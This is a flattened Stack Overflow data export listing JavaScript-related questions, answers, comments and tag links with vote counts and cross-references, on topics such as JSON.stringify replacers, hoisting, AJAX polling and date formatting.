has text: Please don't suggest jQuery unless the question is tagged as such, or the OP says they're open to it.

http://stackoverflow.com/comment/39976980
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25592572
has text: Which plugin using for popup?
score: 1

http://stackoverflow.com/a/25569720
has comment: http://stackoverflow.com/comment/102874112
upvote count: 20
type: Answer
has comment: http://stackoverflow.com/comment/64242505
has body: You can use JSON.stringify for this. It provides a callback for each visited key/value pair (at any depth), with the ability to skip or replace. The function below returns a function which searches for objects with the specified ID and invokes the specified transform callback on them: function scan(id, transform) { return function(obj) { return JSON.parse(JSON.stringify(obj, function(key, value) { if (typeof value === 'object' &amp;&amp; value !== null &amp;&amp; value.id === id) { return transform(value); } else { return value; } })); } If as the problem is stated, you have an array of objects, and a parallel array of ids in each object whose containing objects are to be modified, and an array of transformation functions, then it's just a matter of wrapping the above as for (i = 0; i &lt; objects.length; i++) { scan(ids[i], transforms[i])(objects[i]); } Due to restrictions on JSON.stringify, this approach will fail if there are circular references in the object, and omit functions, regexps, and symbol-keyed properties if you care. See https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Using_native_JSON#The_replacer_parameter for more info.
score: 18
answers question: http://stackoverflow.com/q/25569255
downvote count: 2
has comment: http://stackoverflow.com/comment/39968313

http://stackoverflow.com/a/25551456
answers question: http://stackoverflow.com/q/25551322
upvote count: 1
has body: Try this: function displayinTextbox(){ var datetodisplay = new Date('2014/01/01'); var convertedDate = datetodisplay.toDateString(); document.getElementById('date').value = convertedDate ; }
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/a/25558516
type: Answer
answers question: http://stackoverflow.com/q/25558101
upvote count: 3
has body: To add to the already working solutions with a little more detail. Document Ready First, make sure your code is either placed at the bottom of your body or inside a document ready, similar to the below, to make sure the element is in the DOM at the time your code executes.: $(document).ready(function(){ ... your code here... }); $("#mybutton") will otherwise not be in the DOM yet when the code executes and no event will be bound. Variable hoisting If that is not the issue and the event is bound you may find that the way your code is written causes the error: Uncaught ReferenceError: hideelement is not defined The reason for that is variable hoisting $("#mybutton").on("click", hideelement); hideelement = function(){ $(this).hide(); } The above code is actually interpreted by the JavaScript interpreter as follows: var hideelement; // declaration was hoisted to the top of the scope $("#mybutton").on("click", hideelement); // at this point hideelement is still 'undefined' hideelement = function(){ // assignment of the value stays within the lexical scope $(this).hide(); } JavaScript will hoist the declaration to the top of the current scope but will leave the assignment in the lexical scope where it was defined. However, if you change your declaration to this: $("#mybutton").on("click", hideelement); function hideelement(){ $(this).hide(); } JavaScript now interprets the above code as follows: function hideelement(){ $(this).hide(); } $("#mybutton").on("click", hideelement); // hideelements is defined As hideelements is no longer an assignment but only a declaration the complete function will be hoisted and as such is defined at the time it is used by your event binding. DEMO Naturally off course the already suggested solution in the other answer of defining your assignment lexically before the use of it will also work. i,e: hideelement = function() { $(this).hide(); } $("#mybutton").on("click", hideelement); For the sake of simplicity I intentionally did not go into gl…
downvote count: 0
score: 3

http://stackoverflow.com/q/25689615
has answer: http://stackoverflow.com/a/25691250
downvote count: 0
favorite count: 0
tagged with: parse-platform
accepted answer: http://stackoverflow.com/a/25689616
has body: In the Parse JavaScript guide, on the subject of Relational Data it is stated that By default, when fetching an object, related Parse.Objects are not fetched. These objects' values cannot be retrieved until they have been fetched. They also go on to state that when a relation field exists on a Parse.Object, one must use the relation's query().find() method. The example provided in the docs: var user = Parse.User.current(); var relation = user.relation("likes"); relation.query().find({ success: function(list) { // list contains the posts that the current user likes. } }); I understand how this is a good thing, in terms of SDK design, because it prevents one from potentially grabbing hundreds of related records unnecessarily. Only get the data you need at the moment. But, in my case, I know that there will never be a time when I'll have more than say ten related records that would be fetched. And I want those records to be fetched every time, because they will be rendered in a view. Is there a cleaner way to encapsulate this functionality by extending Parse.Object?
has title: How can I cleanly pull a Parse.Object relation's records when fetching the object?
type: AnsweredQuestion
score: 3
upvote count: 3
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25689616
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25691250

http://stackoverflow.com/comment/40206884
type: QuestionComment
type: Comment
has text: This is way too broad and we can't help you if you don't show us more specific code.
comment on: http://stackoverflow.com/q/25697801
score: 1

http://stackoverflow.com/comment/39948720
comment on: http://stackoverflow.com/q/25577658
score: 0
type: Comment
has text: Is this happening in the front end or server side?
type: QuestionComment

http://stackoverflow.com/q/25582820
has body: I have a string with a line-break in the source code of a javascript file, as in: var str = 'new line'; Now I want to delete that line-break in the code. I couldn't find anything on this, I kept getting stuff about \n and \r. Thanks in advance! EDIT (2021) This question was asked a long, long time ago, and it's still being viewed relatively often, so let me elaborate on what I was trying to do and why this question is inherently flawed. What I was trying to accomplish is simply to use syntax like the above (i.e. multi-line strings) and how I could accomplish that, as the above raises a SyntaxError. However, the code above is just invalid JS. You cannot use code to fix a syntax error, you just can't make syntax errors in valid usable code. The above can now be accomplished if we use backticks instead of single quotes to turn the string into a template literal: var str = `new line`; is totaly valid and would be identical to var str = 'new\n line'; As far as removing the newlines goes, I think the answers below address that issue adequately.
has comment: http://stackoverflow.com/comment/39957367
tagged with: newline
tagged with: javascript
has comment: http://stackoverflow.com/comment/39957369
has comment: http://stackoverflow.com/comment/39957494
answer count: 2
favorite count: 0
accepted answer: http://stackoverflow.com/a/25582854
upvote count: 6
has title: Remove new line in javascript code in string
has comment: http://stackoverflow.com/comment/39957303
has answer: http://stackoverflow.com/a/25582858
downvote count: 3
has comment: http://stackoverflow.com/comment/132690679
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39957261
score: 3
possible better answer: http://stackoverflow.com/a/25582858
has answer: http://stackoverflow.com/a/25582854

pipeline
type: Tag
tags question: http://stackoverflow.com/q/25559137
tag name: pipeline

http://stackoverflow.com/q/25681494
has answer: http://stackoverflow.com/a/25681588
possible better answer: http://stackoverflow.com/a/25681697
score: -4
has comment: http://stackoverflow.com/comment/40136603
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40136505
has comment: http://stackoverflow.com/comment/40136605
has comment: http://stackoverflow.com/comment/40136774
has comment: http://stackoverflow.com/comment/40136565
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/25681588
has body: I have Integer or String value like 6250 or 125... I need like below example. Is it possible in Javascript? 6250 to 62,50 7856 to 78,56 125 to 1,25 050 to 0,50
downvote count: 5
tagged with: javascript
tagged with: jquery
answer count: 2
has comment: http://stackoverflow.com/comment/40136521
linked to: http://stackoverflow.com/q/18286389
has answer: http://stackoverflow.com/a/25681697
favorite count: 0
has title: Integer value to decimal only last 2 digit in Javascript

http://stackoverflow.com/q/25558983
tagged with: internet-explorer-9
answer count: 0
downvote count: 0
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
score: 1
favorite count: 0
has title: jCarousel does not work until the "resize" event is triggered (IE9, IE11)
type: Question
upvote count: 1
has body: I use jCarousel plugin, and it works like a charm, except that in IE9 &amp;&amp; IE11 in a bootstrap modal this carousel does not work untill I trigger a 'resize' event. I added this code to fix this behaviour. $('.carousel-control')......one('click', function() { $(window).trigger('resize'); }) What's the reason for it and how to fix it better?
tagged with: internet-explorer-11

http://stackoverflow.com/q/25602483
tagged with: timezone
tagged with: datetime
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25602665
linked to: http://stackoverflow.com/q/15141762
score: 1
has answer: http://stackoverflow.com/a/25602665
upvote count: 1
has answer: http://stackoverflow.com/a/25611077
type: Question
has title: Enforce timezone for angular.js application
tagged with: javascript
answer count: 2
has body: I'd like to use one single timezone for an angular.js application. I'm aware that angular.js currently uses browsers timezone settings for date formatting, but I'd like to override this setting so that I can enforce a specific timezone for a user so that it doesn't depend on a browser settings. It is a business application in question so there is no need for user specific timezones. Everything happens in a company's specified timezone and this is why I'd like to enforce it for every user. Data is saved in UTC, but it needs to be shown in company timezone for every user without depending on user location/locale/browser settings. Is there any way I can accomplish this that anyone is aware of? And if there is, it'd be greatly appreciated to point me to correct way to do it :) So far I've had zero luck with it.
accepted answer: http://stackoverflow.com/a/25611077
downvote count: 0
favorite count: 0
tagged with: angularjs

http://stackoverflow.com/comment/40003265
has text: `JSON.parse(data)` to create an array/object from json string
type: Comment
comment on: http://stackoverflow.com/q/25607931
score: 0
type: QuestionComment

http://stackoverflow.com/comment/97434538
comment on: http://stackoverflow.com/a/25632755
score: 2
type: AnswerComment
has text: Is there a way to avoid the arbitrary orientation or set the initial orientation manually with ExtrudeGeometry (or ExtrudeBufferGeometry)?
type: Comment

http://stackoverflow.com/comment/39932629
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25569396
has text: Little advice - you can separate all those anonymous functions as named functions. Also "done-fail-always" callback look prettier and shorter, see the official docs on jQuery AJAX. It will make your code less nested and easier to understand.

http://stackoverflow.com/comment/40177230
has text: Also [**Don't use `mysql_*` in new code**](http://stackoverflow.com/q/12859942). They are [officially deprecated](https://wiki.php.net/rfc/mysql_deprecation). See the [red box](http://uk.php.net/manual/en/function.mysql-connect.php)? Learn about [*prepared statements*](http://en.wikipedia.org/wiki/Prepared_statement) instead, and use [PDO](http://php.net/pdo) or [MySQLi](http://php.net/mysqli) - [this article](http://php.net/manual/en/mysqlinfo.api.choosing.php) will help you decide which. If you choose PDO, [here is a good tutorial](http://wiki.hashphp.org/PDO_Tutorial_for_MySQL_Developers).
score: 1
comment on: http://stackoverflow.com/q/25703298
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25615450
has title: Does location.reload() maintain the current scrollbar position?
has comment: http://stackoverflow.com/comment/40016993
accepted answer: http://stackoverflow.com/a/25615467
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25615467
answer count: 1
tagged with: javascript
tagged with: jquery
has body: The title is basically the question. I'm new to JavaScript and jQuery, and I'm still experimenting with this stuff. I have a page that makes a post request using jQuery when a button is clicked. That request deletes a record from the database, so I added location.reload() when the request is done to see the result. I just noticed that it refreshes the page and also maintains the scroll position. I just want to verify, does location.reload() maintains the current scrollbar position?
score: 0
has comment: http://stackoverflow.com/comment/40017296

http://stackoverflow.com/q/25552820
type: Question
has comment: http://stackoverflow.com/comment/39901195
score: 0
has answer: http://stackoverflow.com/a/25553151
accepted answer: http://stackoverflow.com/a/25553151
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: ajax
has title: Multiple ajax requests not working after a while
tagged with: php
has comment: http://stackoverflow.com/comment/39901095
has body: I have my page which loads live stock data from server continuously (every second) making request to a php file named data.php. Also I have a Ganns square of 9 calculator that passes value to a PHP file (getdata.php) using ajax through a OnKeyUp function of a textbox and returns some output. The issue is- As the page loads both work perfectly. Live data as well as calculator can be used. But after a while the calculator doesn't work. On writing value into the textbox the request must be processed and value must be returned through ajax call, but it doesn't happen. Live Stock data code (refreshes every sec): &lt;script&gt; function showPort(t) { var xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200) { document.getElementById("portfo").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","data.php",true); xmlhttp.send(); setTimeout(showPort,t); } &lt;/script&gt; It runs using on page load- &lt;body onload="JavaScript:showPort(2000);"&gt; Ganns square calculator code which runs onkeyup event of textbox: &lt;script&gt; function showData(str) { if (str.length==0) { document.getElementById("txtData").innerHTML=""; return; } var xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200) { document.getElementById("txtData").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","getdata.php?a="+str,false); xmlhttp.send(); } &lt;/script&gt; Runs onKeyUp event of textbox- &lt;input type="text" placeholder="Last traded Price" name="str" onKeyUp="showData(this.value)"&gt; I tried searching for similar questions but did not get my answer. Thus, posting this issue as a new question here.
has comment: http://stackoverflow.com/comment/39900988
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39900780

http://stackoverflow.com/comment/40161739
has text: Why do you have the `width:35%;`s?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25694943
type: Comment

http://stackoverflow.com/comment/39943830
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25573668
type: Comment
has text: @Peege151 After looking at a little, I think it is cleaner to call `dropdown()` when you create the modal. This initializes the dropdown. The clicking is then handled by the module, not by you. See this fiddle: http://jsfiddle.net/o8r0fzfg/10/

http://stackoverflow.com/q/25606605
score: 0
answer count: 1
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: cordova
has title: Is there a way to open the 'alphanumeric' keyboard with numbers by default?
type: Question
has body: I'm devlopping a web app using Phonegap and HTML5. When focusing on a text input, I've been asked to open the 'alpha-numeric' keyboard with the 'numeric' keys displayed. Is that even possible?
linked to: http://stackoverflow.com/q/19684855
tagged with: javascript
has answer: http://stackoverflow.com/a/25606631

http://stackoverflow.com/comment/40187474
has text: @c00000fd I see. I wouldn't mind you editing it to fix.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25619064
score: 0

krpano
type: Tag
tag name: krpano
tags question: http://stackoverflow.com/q/25553753

http://stackoverflow.com/comment/40097670
type: Comment
comment on: http://stackoverflow.com/a/25659421
has text: thanks so much Margus, I got vikrants code to work, but I will see if I can get yours to work as well...
type: AnswerComment
score: 0

http://stackoverflow.com/a/25642889
score: 0
has comment: http://stackoverflow.com/comment/40066589
has comment: http://stackoverflow.com/comment/40066546
has comment: http://stackoverflow.com/comment/40066524
has body: The reason is that Player is not yet defined when assigning video property. var Player = { player: $('#player'), video: Player.player //&lt;- Player is not defined yet. You are defining it right now. }; Try setting video property after creating the object: var Player = { player: $('#player') }; Player.video = Player.player; console.log(Player.video);
answers question: http://stackoverflow.com/q/25642860
type: Answer
has comment: http://stackoverflow.com/comment/40066466
has comment: http://stackoverflow.com/comment/40066284
has comment: http://stackoverflow.com/comment/40066638

http://stackoverflow.com/a/25582591
has comment: http://stackoverflow.com/comment/40021871
has comment: http://stackoverflow.com/comment/40022168
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25565870
has body: I find that if you use nested models for this sort of thing memory leaks become less of an issue. This way, 'Status' is not set to an observable, just the properties within 'Status'. Try something like var status = { Timestamp: ko.observable(), Rows: ko.observableArray([]), Update: function (updateValues) { status.Timestamp(updateValues.Timestamp); status.Rows(updateValues.Rows) } } var model = { EnableStatus: ko.observable(true), Timestamp: ko.observable(), Status: status, Update: function () { model.Timestamp(new Date()); model.Status.Update({Timestamp: new Date(), Rows: [{ Name: "Row #0", Value: Math.random() }, { Name: "Row #1", Value: Math.random() }, { Name: "Row #2", Value: Math.random() }]}) } }; $(document).ready(function () { ko.applyBindings(model, $("#wrapper")[0]); setInterval(model.Update, 1000); }); Fiddle here >>> http://jsfiddle.net/uv0ga3gn/

http://stackoverflow.com/comment/39918204
comment on: http://stackoverflow.com/a/25556568
score: 0
type: Comment
has text: This means the `,` is to join multiple if statements into one single line by replacing the `{}` with `()`?
type: AnswerComment

http://stackoverflow.com/comment/40099522
comment on: http://stackoverflow.com/q/25660926
has text: pure css?? or jquery????
score: 0
type: Comment
type: QuestionComment

rfid
tag name: rfid
tags question: http://stackoverflow.com/q/25568913
type: Tag

http://stackoverflow.com/q/25586268
upvote count: 0
has answer: http://stackoverflow.com/a/25586365
tagged with: jquery
has answer: http://stackoverflow.com/a/25586376
favorite count: 0
has answer: http://stackoverflow.com/a/25586539
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25586415
has body: To give some context on what I'm trying to do through a sample: Bill enters some info into a form A new HTML page is dynamically generated which shows the info on the form among content Bill gets a link which can be shared to other people, so they can see what he entered in the form and interact with it So for example, when you create a new forum post on stackoverflow a new page with the question ID is created (e.g. https://stackoverflow.com/questions/12345/question-title). How do I dynamically generate a new page like this?
has answer: http://stackoverflow.com/a/25586383
downvote count: 1
type: Question
tagged with: javascript
has title: How do you create a new HTML page with URL using javascript?
answer count: 6
score: -1
has answer: http://stackoverflow.com/a/25586403

http://stackoverflow.com/comment/40143763
type: Comment
comment on: http://stackoverflow.com/q/25685444
has text: so you want to use client-side script from the server? you can do an ajax request to get data from the server then pipe this through the ClientSocket... I don't really understand what your trying to do. The websocket is on the client.
score: 0
type: QuestionComment

http://stackoverflow.com/q/25619464
answer count: 2
has answer: http://stackoverflow.com/a/25619915
has comment: http://stackoverflow.com/comment/40024995
has title: My website does not work on firefox
score: -2
has comment: http://stackoverflow.com/comment/40024219
tagged with: firefox
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25620099
accepted answer: http://stackoverflow.com/a/25619915
favorite count: 0
has comment: http://stackoverflow.com/comment/40025086
has answer: http://stackoverflow.com/a/25620099
has comment: http://stackoverflow.com/comment/40024772
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40024321
tagged with: css
has comment: http://stackoverflow.com/comment/40024710
upvote count: 1
has comment: http://stackoverflow.com/comment/40024668
has comment: http://stackoverflow.com/comment/40024923
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40024111
has body: So I've made a website for my internship assignment (first year of my study hence the lack of experience). Sadly I've ran into the problem where it works on every browser except firefox. The problem with firefox is that nothing works. none of the menus links anything really. **** I was wondering if anyone here could help me solve the problem after countless hours of trying to fix it myself. So I am using Html,css and some javascript for the website posted below. &lt;!DOCTYPE html&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt; &lt;link rel="stylesheet" href="tartufi.css" media="screen"/&gt; &lt;title&gt;xxxxxx&lt;/title&gt; &lt;script src="http://code.jquery.com/jquery.min.js" type="text/javascript"&gt;&lt;/script&gt; &lt;script src="script.js" type="text/javascript"&gt;&lt;/script&gt; &lt;link href='http://fonts.googleapis.com/css?family=Karla:700' rel='stylesheet' type='text/css'/&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class="header"&gt; &lt;/div&gt; &lt;div class="alpha"&gt; &lt;div class="headermenu"&gt; &lt;div class="logo"&gt; &lt;/div&gt; &lt;nav&gt; &lt;ul id="navigation"&gt; &lt;li&gt;&lt;div class="navSection "&gt;&lt;a id="nav1" href=""&gt;HOME&lt;/a&gt; &lt;/div&gt;&lt;/li&gt; &lt;li&gt;&lt;div class="navSection "&gt;&lt;a id="nav2" href=""&gt;PASSION&lt;/a&gt; &lt;/div&gt;&lt;/li&gt; &lt;li&gt;&lt;div class="navSection "&gt;&lt;a id="nav3" href=""&gt;CONTACT&lt;/a&gt; &lt;/div&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/nav&gt; &lt;div class="talen"&gt; &lt;a href="index.html"&gt;&lt;img style="border:0;" src="nederlands.png" alt="English" /&gt;&lt;/a&gt; &lt;a href="index_en.html"&gt;&lt;img style="border:0;" src="english.png" alt="English" /&gt;&lt;/a&gt; &lt;a href="index_du.html"&gt;&lt;img style="border:0;" src="deutsch.png" alt="Deutsch" /&gt;&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="content"&gt; &lt;article class="content"&gt…
downvote count: 3
has comment: http://stackoverflow.com/comment/40024118

http://stackoverflow.com/q/25702490
has answer: http://stackoverflow.com/a/25702513
has body: Hi I'm looking for a good explanation for this simple code why isNaN(new Date(some date)) gives false? (typeof return object) This is an object and as far as i know isNaN function explicitly converts to a number, so if I pass different object to isNaN it returns true.
favorite count: 0
linked to: http://stackoverflow.com/q/3340055
linked to: http://stackoverflow.com/q/1353684
upvote count: 8
downvote count: 2
score: 6
has answer: http://stackoverflow.com/a/25702532
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25702513
possible better answer: http://stackoverflow.com/a/25702532
has comment: http://stackoverflow.com/comment/40175152
type: Question
answer count: 2
tagged with: function
tagged with: javascript
has title: javascript why isNaN(new Date()) is false
has comment: http://stackoverflow.com/comment/40175204
has comment: http://stackoverflow.com/comment/40175153

http://stackoverflow.com/q/25631767
answer count: 1
tagged with: meteor
tagged with: meteor-blaze
has body: I have a template with yield section: {{&gt;yield}} In the yield I'm displaying form with fields filled with currently editing category data: this.route('editCategory', { path: '/panel/category/:_id/edit', layoutTemplate: 'panelTemplate', template: 'editCategoryTemplate', data: function(){ return Categories.findOne(this.params._id); }, }); There is a selectbox, (where I'm choosing the parent category) with couple of options. I'm selecting previously chosen option with script: Template.editCategoryTemplate.rendered = function(){ $('#categoryParent option[value="'+ this.data.parent +'"]').prop('selected', true); }; And everything works fine, but after reload the page there is an error: Exception from Deps afterFlush function: this.data is null Any help will be appreciated.
has comment: http://stackoverflow.com/comment/40047898
type: UnansweredQuestion
tagged with: node.js
has comment: http://stackoverflow.com/comment/40047557
has answer: http://stackoverflow.com/a/25632493
type: Question
has comment: http://stackoverflow.com/comment/40047979
tagged with: javascript
has title: Meteor: Access the context (template) data in rendered callback
score: 0

http://stackoverflow.com/q/25651894
has title: Move iframe to the right or shift content inside iframe to the left
has body: I have this annoying black strip on the left and right side of my video. It took a long time to reduce the size of it to the thin strip it is now, but my video cropping skills stopped there. To get rid of the line on the right side of the video I place the video on another web page and inserted an iframe on the parent page for viewing. It is a compromise, but it works. by adjusting the width of the iframe to a few pixels less than the width of the video, the black line (border) does not show on the right. That leaves the left side of the page. I have tried placing a 2 pixel wide x 260 pixel tall jpg to cover the black line but I guess you can't place a pic on top of a vid. Then I tried moving the iframe to the right by a few pixels so it will only show me the part of the vid I want to see. using ... &lt;iframe onload="window.frames.scrollTo(300,300)" src="vid2.php" width=375 height=260 frameborder=0 scrolling=no name="vframe"&gt; but that didn't do anything and in the header: &lt;style type='text/css'&gt; #innerdiv { position:absolute; top:0px; left:2px; width:375px; height:260px; } &lt;/style&gt; and in the body &lt;iframe id="innerdiv" src="vid2.php" width=375 height=260 frameborder=0 scrolling=no name="vframe"&gt; and all that does is repositions the iframe on the parent page. What i want to do is move the iframe over to the right of the page it encases by like 3 pixels. I tried to move the vid object to the left (-3px) but I guess once you hit the left side, that is as far as you can go.
type: Question
has comment: http://stackoverflow.com/comment/40084707
tagged with: javascript
score: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: css
answer count: 0
type: UnansweredQuestion
tagged with: iframe
has comment: http://stackoverflow.com/comment/40085483

http://stackoverflow.com/comment/40152702
comment on: http://stackoverflow.com/a/25690131
score: 0
type: Comment
type: AnswerComment
has text: This would make it quite inflexible and either requires branching and/or heavy texture coordinate transformation math, or comes with wasting a lot of GPU storage.

http://stackoverflow.com/comment/40088756
type: AnswerComment
has text: and how about atccess global function($) from call ?
type: Comment
comment on: http://stackoverflow.com/a/25654719
score: 0

http://stackoverflow.com/comment/39967817
has text: I will be using date picker for other stuff in this Calendar Plugin I am working on, but for this specific part of the application it need to be a drop down. Thanks for the answer.
type: QuestionComment
comment on: http://stackoverflow.com/q/25588473
score: 0
type: Comment

http://stackoverflow.com/comment/40431949
has text: The immediately invoked function in this case isn't blocking, it's just setting the window.onload. The outer function wrapper is only there to limit the scope. If the var statement for oldonload were not contained in a function, it would be a dangling global.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25739139

http://stackoverflow.com/a/25584553
has comment: http://stackoverflow.com/comment/39960910
has comment: http://stackoverflow.com/comment/39960933
downvote count: 0
has comment: http://stackoverflow.com/comment/39960896
has comment: http://stackoverflow.com/comment/39960575
has comment: http://stackoverflow.com/comment/39960732
has comment: http://stackoverflow.com/comment/39960885
has comment: http://stackoverflow.com/comment/39960262
has comment: http://stackoverflow.com/comment/39960283
type: Answer
has comment: http://stackoverflow.com/comment/39960710
score: 2
has comment: http://stackoverflow.com/comment/39960839
answers question: http://stackoverflow.com/q/25584455
has body: I changed $http.jsonp() to $http.get(). It works even though it is a cross origin request.
upvote count: 2
has comment: http://stackoverflow.com/comment/39960878
has comment: http://stackoverflow.com/comment/39960937
has comment: http://stackoverflow.com/comment/39960535

http://stackoverflow.com/a/25668499
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40117304
type: Answer
accepted answer of: http://stackoverflow.com/q/25667388
has body: There are no "classes" in Javascript. However, Foo and Bar are constructors, i.e. they are functions, and inherit from the Function class 's .prototype object. So you can do Function.prototype.myMethod = function(){ var anything = this; // refers to the current constructor function console.log(anything.name); // for example } function Foo(){} function Bar(){} Foo.myMethod(); // "Foo" Bar.myMethod(); // "Bar"
answers question: http://stackoverflow.com/q/25667388
score: 0

http://stackoverflow.com/comment/39967711
has text: Thanks dasu908, exactly what I needed. Dalorzo: The input I inject depended on other things in a form being set on a form.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25588403
type: QuestionComment

php
tags question: http://stackoverflow.com/q/25581591
tags question: http://stackoverflow.com/q/25684007
tags question: http://stackoverflow.com/q/25687484
tags question: http://stackoverflow.com/q/25640785
tags question: http://stackoverflow.com/q/25583991
tags question: http://stackoverflow.com/q/25587274
tags question: http://stackoverflow.com/q/25637434
tags question: http://stackoverflow.com/q/25555870
tags question: http://stackoverflow.com/q/25588098
tags question: http://stackoverflow.com/q/25599238
tags question: http://stackoverflow.com/q/25634824
tags question: http://stackoverflow.com/q/25620869
tags question: http://stackoverflow.com/q/25606641
tags question: http://stackoverflow.com/q/25631094
tags question: http://stackoverflow.com/q/25605990
tags question: http://stackoverflow.com/q/25703012
tags question: http://stackoverflow.com/q/25701433
tags question: http://stackoverflow.com/q/25605652
tags question: http://stackoverflow.com/q/25682976
tags question: http://stackoverflow.com/q/25558413
tags question: http://stackoverflow.com/q/25580473
tags question: http://stackoverflow.com/q/25700623
tags question: http://stackoverflow.com/q/25652532
tags question: http://stackoverflow.com/q/25619668
tags question: http://stackoverflow.com/q/25587431
tags question: http://stackoverflow.com/q/25552125
tags question: http://stackoverflow.com/q/25636839
tags question: http://stackoverflow.com/q/25677212
tags question: http://stackoverflow.com/q/25592781
tags question: http://stackoverflow.com/q/25652713
tags question: http://stackoverflow.com/q/25581785
tags question: http://stackoverflow.com/q/25624214
tags question: http://stackoverflow.com/q/25562285
tags question: http://stackoverflow.com/q/25634627
tags question: http://stackoverflow.com/q/25550851
tags question: http://stackoverflow.com/q/25689191
tags question: http://stackoverflow.com/q/25564740
tags question: http://stackoverflow.com/q/25666780
tags question: http://stackoverflow.com/q/25584580
tags question: http://stackoverflow.com/q/25594371
tags question: http://stackoverflow.com/q/25692974
tags question: http://stackoverflow.com/q/25680289
tags question: http://stackoverflow.com/q/25654527
tags question: http://stackoverflow.com/q/25691161
tags question: http://stackoverflow.com/q/25597981
tags question: http://stackoverflow.com/q/25675543
tags question: http://stackoverflow.com/q/25621061
tags question: http://stackoverflow.com/q/25606745
tags question: http://stackoverflow.com/q/25587257
tags question: http://stackoverflow.com/q/25579891
tags question: http://stackoverflow.com/q/25589571
tags question: http://stackoverflow.com/q/25692128
tags question: http://stackoverflow.com/q/25637719
tags question: http://stackoverflow.com/q/25565113
tags question: http://stackoverflow.com/q/25627264
tags question: http://stackoverflow.com/q/25579665
tags question: http://stackoverflow.com/q/25710919
tags question: http://stackoverflow.com/q/25629350
tags question: http://stackoverflow.com/q/25617202
tags question: http://stackoverflow.com/q/25670237
tags question: http://stackoverflow.com/q/25608307
tags question: http://stackoverflow.com/q/25700212
tags question: http://stackoverflow.com/q/25582050
tags question: http://stackoverflow.com/q/25566223
tags question: http://stackoverflow.com/q/25586924
tags question: http://stackoverflow.com/q/25697241
tags question: http://stackoverflow.com/q/25659004
tags question: http://stackoverflow.com/q/25567254
tags question: http://stackoverflow.com/q/25590807
tags question: http://stackoverflow.com/q/25659603
tags question: http://stackoverflow.com/q/25588829
tags question: http://stackoverflow.com/q/25598468
tags question: http://stackoverflow.com/q/25627282
tags question: http://stackoverflow.com/q/25609842
tags question: http://stackoverflow.com/q/25573079
tags question: http://stackoverflow.com/q/25708199
tags question: http://stackoverflow.com/q/25680850
tags question: http://stackoverflow.com/q/25632470
tags question: http://stackoverflow.com/q/25597427
tags question: http://stackoverflow.com/q/25679632

http://stackoverflow.com/a/25697045
answers question: http://stackoverflow.com/q/25681541
type: Answer
accepted answer of: http://stackoverflow.com/q/25681541
score: 0
has body: function testAPI() { console.log('Welcome! Fetching your information.... '); FB.api('/me', function(response) { var mydata = JSON.stringify(response); //console.log(mydata); //console.log(JSON.stringify(response)); //console.log('Successful login for: ' + response.name); document.getElementById('status').innerHTML = 'Thanks for logging in, ' + response.email + '!'; // setCookie("fb_user_data",JSON.stringify(response),"1"); myajax(mydata); // var email = response.email; }); //delete_cookie('fb_user_data'); } function myajax(mydata){ var mydata = mydata || ""; var send_data = "fbdata="+mydata; $.ajax({ type: "GET", url: "/learn_test/response.php", data: send_data, datatype : "json", success: function(response){ console.log(response) /*alert(response.msg); alert(response.error); alert(response.run);*/ } }); } set response in reponse.php if(isset($_GET['fbdata'])){ $fbarry = print_r(json_decode($_GET['fbdata']),true); $msg = array(); $msg['msg'] = "done"; $msg['error'] = ""; $msg['run'] = true; //$msg['run'] = false; print_r(json_decode($_GET['fbdata'])); } i can get the value.
type: AcceptedAnswer

http://stackoverflow.com/a/25674661
answers question: http://stackoverflow.com/q/25674556
downvote count: 0
type: Answer
score: 1
upvote count: 1
has body: Since your using backbone you could use underscores defaults method: return _.defaults({attribute: key, value: obj[key]}, {value: ''});

http://stackoverflow.com/comment/40064460
score: 0
comment on: http://stackoverflow.com/a/25641557
type: Comment
type: AnswerComment
has text: Try adding the input using `document.createElement` instead.

http://stackoverflow.com/comment/40106290
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25664841
has text: Yes, only jQuery can do loops. By the way, `type=javascript` is not necessary. See http://stackoverflow.com/questions/5265202/do-you-need-text-javascript-specified-in-your-script-tags.

http://stackoverflow.com/comment/40191897
